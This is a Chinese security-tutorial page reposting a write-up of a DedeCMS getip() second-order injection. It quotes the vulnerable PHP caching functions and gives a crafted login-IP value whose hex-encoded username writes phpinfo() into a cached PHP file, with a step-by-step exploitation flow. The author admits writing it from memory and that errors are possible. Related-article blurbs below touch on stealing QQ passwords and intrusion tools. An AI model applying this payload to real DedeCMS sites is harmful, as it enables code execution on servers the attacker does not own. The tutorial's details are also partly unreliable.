Dedecms getip()的漏洞利用代码
所属分类:
实用技巧 / 安全教程
阅读数:
1871
收藏 0赞 0分享
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com
在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php
function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return ”;
}
WriteUserInfos()的代码:
//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}
我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();// |
+——————————————–+
1 row in set (0.00 sec)
利用流程:
A:
else{ //成功登录
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);
B:FushCache()
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
C:WriteUserInfos()
heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'
其中str_replace的部分相当于代码:
<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>
整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用
[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]
一些通用跳转地址,XXOXX的时候有点用
近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址,但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址,所以费了点时间收集了下,在这里要感谢傲少提供的机器给我去找地址。现在贴到这里,方便大家。
收藏 0赞 0分享
入侵过程中用过的三大门派的几个小工具[推荐]
vbs在入侵中的作用、我在入侵中的注意的细节、跨站、入侵中的批处理、入侵过程中用的小工具共有这五个,当然随着期数的变化,出的题目也会增加,现在大家针对这些题目欢迎来稿呀,不要被高手这两个字吓住了。
收藏 0赞 0分享
如何防范别人盗你的qq号(盗别人的qq密码)
想用别人的 qq号码,最主要的就是把别人的密码偷来,那么怎么盗别人的qq密码呢?不过,没有人会告诉你:我的密码是什么什么,请你尽情的用我的号码吧!那么,黑客是怎么去把别人的密码偷来呢
收藏 0赞 0分享
QQ聊天记录删除了怎么恢复 详细步骤教程
许多网友都想知道“QQ聊天记录删除了怎么恢复”,因为QQ聊天记录对于我们来说是很重要的数据。下面我们就来介绍下如何解决QQ聊天记录删除恢复的问题
收藏 0赞 0分享
php+mysql注入页面实现
最近在弄靶场,原本是打算找一些漏洞程序来做实验环境,但是去找这些程序感觉太麻烦了,几段代码能实现的东西还是自己写吧
收藏 0赞 0分享
QQ密码被盗怎么办 (教你如何找回QQ密码)
QQ密码保护是一套保障QQ密码安全的机制。通过给你的QQ号填写对应的相关资料,如证件号、安全提示问题、安全邮箱等,给你的QQ号穿一件防弹衣。一旦出现问题,就可以通过QQ密码保护找回QQ密码
收藏 0赞 0分享
查看更多